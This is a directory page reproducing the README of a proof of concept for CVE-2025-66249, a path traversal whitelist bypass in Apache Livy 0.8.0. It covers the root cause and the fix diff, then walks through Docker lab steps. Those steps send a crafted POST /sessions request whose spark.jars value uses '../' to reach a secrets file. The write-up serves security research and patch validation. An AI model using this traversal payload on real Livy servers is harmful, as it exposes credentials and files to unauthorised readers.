Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-66249-POC — A POC for Apache Livy Path Traversal Whitelist Bypass Vulnerability | Kitploit
Tools/GitHubGitHub/sid6224/cve-2025-66249-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsid6224/cve-2025-66249-poc

CVE-2025-66249-POC

A POC for Apache Livy Path Traversal Whitelist Bypass Vulnerability

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-66249 — Apache Livy Path Traversal Whitelist Bypass

CVE Livy Severity CWE Type License Platform Language

For educational and security research purposes only. Do not use against systems you do not own or have explicit written permission to test. → Full Disclaimer


Overview

FieldDetail
CVE IDCVE-2025-66249
SeverityImportant (CVSS N/A — NVD assessment pending as of 2026-03-15)
AffectedApache Livy 0.3.0-incubating through 0.8.0-incubating — only when livy.file.local-dir-whitelist is set to a non-default value
Fixed inApache Livy 0.9.0-incubating
CWECWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Disclosed2026-03-12 (OSS-Sec) / 2026-03-13 (NVD)
ReporterHiroki Egawa (finder)

Vulnerability Description

An authenticated user with access to Livy's REST or JDBC interface can submit a Spark session or batch job with a crafted file-path configuration value that escapes the permitted directory whitelist.

Root cause — Path traversal bypass in whitelist check (Session.scala)

When livy.file.local-dir-whitelist is configured, Livy 0.8.0 validates submitted paths by calling Java's String.startsWith() on the raw, un-normalised path. This check can be bypassed using ../ traversal sequences:

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt

The raw string starts with /opt/safe-data, so the check passes — but the path resolves to /opt/sensitive/secret.txt, which is entirely outside the whitelisted directory.

Trigger condition: The vulnerability can only be exploited when livy.file.local-dir-whitelist is set to a non-default (non-empty) value. If the whitelist is empty (the default), path validation is skipped entirely and the issue is not exercised.

Impact: An attacker who submits a session via the Livy REST API can reference arbitrary local files on the Livy server host. In a shared analytics cluster this translates to potential exposure of credentials, keys, configuration files, or any data readable by the Livy process user.


Affected Source Files

File — Session.scala

Vulnerable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Fixed (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala


Source Code — Clone Commands

Both versions were cloned directly from the official Apache Livy GitHub repository using the following exact commands:

Repository: https://github.com/apache/incubator-livy

root@kitploit:~
# Vulnerable version — cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.8.0

# Fixed version — cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.9.0
VersionTagResolved commitLocal path
0.8.0-incubatingv0.8.0-incubating78b512658e4baf1183f2b352203ada1928d8111a./livy-0.8.0/
0.9.0-incubatingv0.9.0-incubating7215f209b25b96488189567807eaded00953a492./livy-0.9.0/

Exact Code Diffs

Fix — Session.scala: Paths.get().normalize() before whitelist check

root@kitploit:~
 import java.io.InputStream
 import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
 import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
 import java.util.UUID

 ...

     if (resolved.getScheme() == "file") {
       // Make sure the location is whitelisted before allowing local files to be added.
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }

Impact in v0.8.0: The raw string startsWith check can be bypassed with a path traversal payload.

Example: if livy.file.local-dir-whitelist = /opt/safe-data

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt
  • v0.8.0: "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (bypassed)
  • v0.9.0: Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (blocked)

Diffs were produced by cloning both tags locally (see above) and running:

root@kitploit:~
diff -u \
    livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
    livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

Attack Vector Summary

root@kitploit:~
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions
{
  "conf": {
    "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
    ← path starts with whitelisted prefix — String.startsWith() passes
    ← but resolves OUTSIDE the directory via ../ traversal
  }
}
    │
    ▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

Test Environment

All steps in this PoC were executed and validated on the following system:

ComponentDetail
Host OSUbuntu 24.04.4 LTS (Noble Numbat)
Kernel6.17.0-14-generic x86_64
Architecturex86_64
Total Memory15 GiB
Docker Engine28.2.2
Host JDKOpenJDK 17.0.18 (used by host only — containers use eclipse-temurin:11-jdk-focal)
Container base imageeclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Spark version (both images)3.1.3 with Hadoop 3.2
Livy version — vulnerable image0.8.0-incubating
Livy version — fixed image0.9.0-incubating

Directory Structure

root@kitploit:~
CVE-2025-66249-POC/
├── docker/
│   ├── fixed/
│   │   ├── Dockerfile
│   │   ├── livy.conf
│   │   └── start.sh
│   └── vulnerable/
│       ├── Dockerfile
│       ├── livy.conf
│       └── start.sh
├── test/
│   └── validate.sh
├── .gitignore
├── LICENSE
└── README.md

Proof of Concept

Overview

root@kitploit:~
docker/vulnerable/   →  image: cve-2025-66249-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-66249-fixed        (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

Full end-to-end sequence — follow Steps 1 through 4 in order:

root@kitploit:~
Step 1: Build vulnerable image  →  start container  →  verify Livy is up
Step 2: Run validate.sh         →  confirm VULNERABLE (attack HTTP 201)   →  stop container
Step 3: Build fixed image       →  start container  →  verify Livy is up
Step 4: Run validate.sh         →  confirm FIXED    (attack HTTP 400)     →  stop container

Note: Livy takes approximately 15–20 seconds to become ready after docker run. All steps below include an explicit sleep 20 before any API call.


Step 1 — Build and start the vulnerable environment (Livy 0.8.0 + Spark 3.1.3)

Files:

  • docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
  • docker/vulnerable/livy.conf — binds on 0.0.0.0:8998, local mode, whitelist = /opt/safe-data

1a. Build the image:

root@kitploit:~
docker build -t cve-2025-66249-vulnerable docker/vulnerable/

Validate — image was created:

root@kitploit:~
docker images cve-2025-66249-vulnerable

Expected output:

root@kitploit:~
REPOSITORY                  TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-vulnerable   latest    <id>       <time>    <size>

1b. Start the container:

root@kitploit:~
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable

Validate — container is running:

root@kitploit:~
docker ps --filter name=livy-vulnerable

Expected output:

root@kitploit:~
CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-vulnerable   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-vulnerable

1c. Wait for Livy to start, then verify the REST API:

Livy requires ~15–20 seconds to initialise before it serves requests.

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Expected output:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

1d. Validate the directory layout inside the container:

Confirm the whitelisted safe file exists:

root@kitploit:~
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

Expected output:

root@kitploit:~
This file lives inside the whitelisted directory.

Confirm the sensitive file exists outside the whitelist:

root@kitploit:~
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

Expected output:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Step 2 — Run validation against the vulnerable environment

The vulnerable container from Step 1 must still be running on port 8998.

What test/validate.sh tests:

#AttackPayload keyExpected result on Livy 0.8.0
1Path traversal via String.startsWith() in Session.scalaspark.jars with ../ traversalHTTP 201 — traversal bypasses whitelist

2a. Run the script:

root@kitploit:~
bash test/validate.sh

Note: validate.sh works as follows:

  1. It polls GET /sessions until Livy responds (up to 60 seconds), confirming the server is ready.
  2. It sends a POST /sessions request via curl with a crafted conf payload targeting a file outside the whitelist (/opt/sensitive/secret.txt) using ../ traversal.
  3. It reads the HTTP response code: 201 means Livy accepted the path without normalisation (vulnerable); 400 means Livy rejected it after normalisation (fixed).
  4. If a session was created (HTTP 201), the script immediately deletes it via DELETE /sessions/{id} to keep the server clean.
  5. After the test it prints a summary and exits with code 1 (vulnerable) or 0 (fixed), making it suitable for use in automated pipelines.

Expected output:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT normalised — traversal bypasses whitelist check.

RESULT: VULNERABLE — exit code 1

2b. Stop and remove the vulnerable container:

root@kitploit:~
docker stop livy-vulnerable && docker rm livy-vulnerable

Validate — container is fully removed:

root@kitploit:~
docker ps -a --filter name=livy-vulnerable

Expected output (empty — no rows):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Step 3 — Build and start the fixed environment (Livy 0.9.0 + Spark 3.1.3)

Files:

  • docker/fixed/Dockerfile — identical base image and Spark 3.1.3, only Livy version changes to 0.9.0-incubating
  • docker/fixed/livy.conf — identical to docker/vulnerable/livy.conf (same whitelist, port, mode)

Keeping Spark, base image, and all configuration identical to Step 1 isolates Livy as the only variable.

3a. Build the image:

root@kitploit:~
docker build -t cve-2025-66249-fixed docker/fixed/

Validate — image was created:

root@kitploit:~
docker images cve-2025-66249-fixed

Expected output:

root@kitploit:~
REPOSITORY             TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-fixed   latest    <id>       <time>    <size>

3b. Start the container:

root@kitploit:~
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed

Validate — container is running:

root@kitploit:~
docker ps --filter name=livy-fixed

Expected output:

root@kitploit:~
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-fixed   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-fixed

3c. Wait for Livy to start, then verify the REST API:

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Expected output:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

3d. Validate the directory layout inside the container:

The fixed container uses identical fixtures to the vulnerable one — this confirms the only variable between the two environments is the Livy version.

Confirm the whitelisted safe file exists:

root@kitploit:~
docker exec livy-fixed cat /opt/safe-data/safe.txt

Expected output:

root@kitploit:~
This file lives inside the whitelisted directory.

Confirm the sensitive file exists outside the whitelist:

root@kitploit:~
docker exec livy-fixed cat /opt/sensitive/secret.txt

Expected output:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Step 4 — Run the same validation against the fixed environment

The fixed container from Step 3 must be running on port 8998. The script is identical — no changes.

What changes between Step 2 and Step 4:

  • Same payload, same script
  • Livy 0.9.0 now normalises paths with Paths.get().normalize() before the whitelist check
  • The attack is rejected with HTTP 400 before a session is created

4a. Run the script:

root@kitploit:~
bash test/validate.sh

Expected output:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path normalisation blocked the traversal.

RESULT: FIXED — exit code 0

What the error message confirms:

AttackHTTPError messageRoot cause fixed
Path traversal via spark.jars400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Paths.get(...).normalize() added in Session.scala; resolves ../ before whitelist comparison

4b. Stop and remove the fixed container:

root@kitploit:~
docker stop livy-fixed && docker rm livy-fixed

Validate — container is fully removed:

root@kitploit:~
docker ps -a --filter name=livy-fixed

Expected output (empty — no rows):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Inference

CVE-2025-66249 is a single, targeted logic flaw in the whitelist enforcement that protects Livy's local-filesystem access path.

The whitelist (livy.file.local-dir-whitelist) existed across all affected versions and was correctly configured. The failure was in how the whitelist was evaluated:

Path traversal bypass (the only weakness): The whitelist comparison in Session.scala used Java's String.startsWith() on the raw path string. This is insufficient for filesystem path comparisons because it does not account for .. traversal segments. A path such as /opt/safe-data/../sensitive/secret.txt satisfies the string check against whitelist entry /opt/safe-data, yet resolves to a location entirely outside it.

The fix in 0.9.0 is minimal and targeted: one call to Paths.get().normalize() is added before the whitelist comparison. This resolves all .. segments before the startsWith check runs, so the traversal payload is correctly identified as pointing outside the allowed directory.

Key takeaway for defenders: The vulnerability is only exploitable when livy.file.local-dir-whitelist is set to a non-empty value. While this means the default configuration is not directly vulnerable, any deployment that has tightened the whitelist (i.e., explicitly restricted which directories Livy may access) is paradoxically the one exposed — because it is the presence of the whitelist that activates the flawed code path. Upgrading to Livy 0.9.0-incubating is the only complete remediation.


References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66249
  • OSS-Sec disclosure: http://www.openwall.com/lists/oss-security/2026/03/12/2
  • Apache mailing list: https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3
  • Apache Livy project: https://livy.apache.org/

Acknowledgements

  • Hiroki Egawa — original reporter of CVE-2025-66249 to the Apache Security Team.
  • Apache Livy maintainers — for the prompt triage and targeted fix in v0.9.0-incubating.
  • Apache Security Team — for coordinating the responsible disclosure process.
  • OSS-Sec community — for the public disclosure thread that made independent analysis possible.

Contributing

Contributions to improve this PoC or documentation are welcome! Please ensure any contributions:

  • Follow responsible disclosure practices
  • Include appropriate disclaimers
  • Do not include malicious code beyond educational demonstration
  • Maintain focus on educational value

To contribute, open a pull request or file an issue describing the proposed change.


License

This project is licensed under the MIT License.


Disclaimer

This repository is for educational and security research purposes only. The proof of concept demonstrates the vulnerability mechanics to aid understanding and defensive measures. Do not use against systems you do not own or have explicit written permission to test.


Tags

cve-2025-66249 apache-livy path-traversal whitelist-bypass cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis rest-api-security string-startswith-bypass path-normalisation

Download Tool